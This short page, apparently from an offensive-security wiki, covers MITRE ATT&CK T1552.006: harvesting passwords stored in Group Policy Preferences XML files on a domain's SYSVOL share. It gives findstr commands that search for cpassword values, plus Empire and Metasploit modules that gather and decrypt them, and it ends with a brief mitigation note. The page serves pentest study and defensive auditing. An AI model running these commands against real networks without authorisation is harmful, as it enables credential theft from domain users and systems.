Group Policy Preferences
https://attack.mitre.org/techniques/T1552/006/
ATT&CK ID: T1552.006
Permissions Required: User
Description
Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.
These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).
Techniques
CMD
findstr /S cpassword %logonserver%\sysvol\*.xml
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xmlEmpire
usemodule powershell/privesc/gpp
usemodule python/privesc/windows/get_gpppasswordsMetasploit
use post/windows/gather/credentials/gppFurther Reading
Mitigation
The same methods of searching for GPP passwords offensively, exists to find the same issue from a defense perspective.
CMD
findstr /S cpassword %logonserver%\sysvol\*.xml
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xmlLast updated